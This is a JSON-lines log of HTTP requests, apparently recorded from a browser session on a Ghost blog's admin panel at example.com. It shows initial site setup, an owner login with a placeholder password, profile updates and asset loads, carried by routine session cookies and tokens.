{"method": "GET", "target": "/ghost/api/admin/users/me/?include=roles", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/settings/?group=site%2Ctheme%2Cprivate%2Cmembers%2Cportal%2Cnewsletter%2Cemail%2Clabs%2Cslack%2Cunsplash%2Cviews%2Cfirstpromoter%2Ceditor%2Ccomments%2Canalytics%2Cannouncement%2Cpintura%2Cdonations%2Csecurity%2Csocial_web%2Cexplore%2Ctransistor", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/site/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/config/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/authentication/setup/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/setup-DWks57uU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/field-574pWL80.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/label-vIUVGh2q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-8uIrBDxl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/auth-layout-CaD1cj0i.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/validator-C1GVGAAP.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/password-rules-Co1GJV0H.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/ghost-orb-bYPPSSAp.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/InterVariable-DiVDrmQJ.woff2", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/assets/index-C3xC5ZJE.css", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/authentication/setup/", "headers": ["Host: example.com", "Content-Length: 123", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"setup\":[{\"blogTitle\":\"Example Blog\",\"name\":\"Alice Example\",\"email\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}]}"}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/session/", "headers": ["Host: example.com", "Content-Length: 64", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"username\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}"}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?limit=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/themes/active/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/global-search-modal-7K0SXxhj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dirty-confirm-dialog-BY-NFehF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-dirty-confirmation-BZt1qjQk.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/__vite-browser-external-QvLZ7d7o.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/search-index-BVbNE68U.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/open-section-Dbja-jTl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-section-visibility-qAu_ZOpN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/availability-ZBcKUaLw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/notifications/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/users/6af4570fd281b00001a59891/?include=roles", "headers": ["Host: example.com", "Content-Length: 1308", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": "{\"users\":[{\"id\":\"6af4570fd281b00001a59891\",\"name\":\"Alice Example\",\"slug\":\"alice\",\"email\":\"alice@example.com\",\"profile_image\":null,\"cover_image\":null,\"bio\":null,\"website\":null,\"location\":null,\"facebook\":null,\"twitter\":null,\"threads\":null,\"bluesky\":null,\"mastodon\":null,\"tiktok\":null,\"youtube\":null,\"instagram\":null,\"linkedin\":null,\"accessibility\":\"{\\\"nightShift\\\":\\\"system\\\",\\\"onboarding\\\":{\\\"completedSteps\\\":[],\\\"checklistState\\\":\\\"started\\\",\\\"startedAt\\\":\\\"2026-11-11T11:54:12.758Z\\\"},\\\"navigation\\\":{\\\"expanded\\\":{\\\"posts\\\":true,\\\"members\\\":true},\\\"menu\\\":{\\\"visible\\\":true}}}\",\"status\":\"active\",\"meta_title\":null,\"meta_description\":null,\"tour\":null,\"last_seen\":\"2026-11-11T11:54:12.000Z\",\"comment_notifications\":true,\"free_member_signup_notification\":true,\"paid_subscription_started_notification\":true,\"paid_subscription_canceled_notification\":false,\"mention_notifications\":true,\"recommendation_notifications\":true,\"milestone_notifications\":true,\"donation_notifications\":true,\"gift_subscription_notifications\":true,\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:54:12.000Z\",\"roles\":[{\"id\":\"6af4570fd281b00001a59896\",\"name\":\"Owner\",\"description\":\"Blog Owner\",\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:52:47.000Z\"}],\"url\":\"http://example.com/author/alice/\"}]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/identities/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/.ghost/activitypub/v1/notifications/unread/count", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/activity+json", "Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImhXOHdzSHVNYURNZV9nRTVsWHY5dmI1MHl0VWxfQzVxRlV0a1VGdTF2U3cifQ.eyJzdWIiOiJhbGljZUBleGFtcGxlLmNvbSIsInJvbGUiOiJPd25lciIsImlhdCI6MTc5NDM5ODA1MiwiZXhwIjoxNzk0Mzk4MzUyLCJpc3MiOiJodHRwOi8vZXhhbXBsZS5jb20vZ2hvc3QvIn0.RjbXlKtZ_TjYmfctDzYbqNb7NRlIgFi5vt7gc6CduPkNWzj1ZFO5bhwMdp_D-Bglj01RVoZq3KIEi5Ptb33MHVfulH-_KTtef0LUtKEot8iSDUBFjDsI4nD3RGANjkv-FTn3ig_hCYPbUOxtgB4PK7MjkhDDD-_xW41JyQ4xxNtkxKJaCFesD53mbK1y1IrlAFCbxOhHgKYsV3tUTHLZuER5rxYwWqwso7BtLtsu08vBzzhCsVXgfq2l6NB4SdW_XkkQUznze0nHtOuNEMBI3ASwN8E2pHxUUd2Lsw6oXNqtaBdpMKW-OpZKBvzJ47FvDjdx9If36UMcsvE5IxNvMg", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/onboarding-route-CTfF7IJD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/share-modal-D6_apZJH.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/users/6af4570fd281b00001a59891/?include=roles", "headers": ["Host: example.com", "Content-Length: 1369", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": "{\"users\":[{\"id\":\"6af4570fd281b00001a59891\",\"name\":\"Alice Example\",\"slug\":\"alice\",\"email\":\"alice@example.com\",\"profile_image\":null,\"cover_image\":null,\"bio\":null,\"website\":null,\"location\":null,\"facebook\":null,\"twitter\":null,\"threads\":null,\"bluesky\":null,\"mastodon\":null,\"tiktok\":null,\"youtube\":null,\"instagram\":null,\"linkedin\":null,\"accessibility\":\"{\\\"whatsNew\\\":{\\\"lastSeenDate\\\":\\\"2026-11-11T11:54:12.800Z\\\"},\\\"nightShift\\\":\\\"system\\\",\\\"onboarding\\\":{\\\"completedSteps\\\":[],\\\"checklistState\\\":\\\"started\\\",\\\"startedAt\\\":\\\"2026-11-11T11:54:12.758Z\\\"},\\\"navigation\\\":{\\\"expanded\\\":{\\\"posts\\\":true,\\\"members\\\":true},\\\"menu\\\":{\\\"visible\\\":true}}}\",\"status\":\"active\",\"meta_title\":null,\"meta_description\":null,\"tour\":null,\"last_seen\":\"2026-11-11T11:54:12.000Z\",\"comment_notifications\":true,\"free_member_signup_notification\":true,\"paid_subscription_started_notification\":true,\"paid_subscription_canceled_notification\":false,\"mention_notifications\":true,\"recommendation_notifications\":true,\"milestone_notifications\":true,\"donation_notifications\":true,\"gift_subscription_notifications\":true,\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:54:12.000Z\",\"roles\":[{\"id\":\"6af4570fd281b00001a59896\",\"name\":\"Owner\",\"description\":\"Blog Owner\",\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:52:47.000Z\"}],\"url\":\"http://example.com/author/alice/\"}]}"}
|
|
||||||
{"method": "GET", "target": "/.ghost/activitypub/v1/notifications/unread/count/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/activity+json", "Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImhXOHdzSHVNYURNZV9nRTVsWHY5dmI1MHl0VWxfQzVxRlV0a1VGdTF2U3cifQ.eyJzdWIiOiJhbGljZUBleGFtcGxlLmNvbSIsInJvbGUiOiJPd25lciIsImlhdCI6MTc5NDM5ODA1MiwiZXhwIjoxNzk0Mzk4MzUyLCJpc3MiOiJodHRwOi8vZXhhbXBsZS5jb20vZ2hvc3QvIn0.RjbXlKtZ_TjYmfctDzYbqNb7NRlIgFi5vt7gc6CduPkNWzj1ZFO5bhwMdp_D-Bglj01RVoZq3KIEi5Ptb33MHVfulH-_KTtef0LUtKEot8iSDUBFjDsI4nD3RGANjkv-FTn3ig_hCYPbUOxtgB4PK7MjkhDDD-_xW41JyQ4xxNtkxKJaCFesD53mbK1y1IrlAFCbxOhHgKYsV3tUTHLZuER5rxYwWqwso7BtLtsu08vBzzhCsVXgfq2l6NB4SdW_XkkQUznze0nHtOuNEMBI3ASwN8E2pHxUUd2Lsw6oXNqtaBdpMKW-OpZKBvzJ47FvDjdx9If36UMcsvE5IxNvMg", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/logo-loader-dark-CuSPz-zc.mp4", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: identity", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY", "Range: bytes=0-"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/editor-screen-BQzGYHoq.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-limiter-BDyb24mL.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/isPlainObject-B4wq7q-q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/luxon-D0MQDYL8.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/newsletters-Dc9dNenR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/automations-CHwWlIsj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/focus-koenig-editor-on-bottom-click-NfX8T9TL.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/style-A57lkXV2.css", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-host-limits-DLFHO8IN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/box-CvaCx3xG.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/grid-EKVMrdPt.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
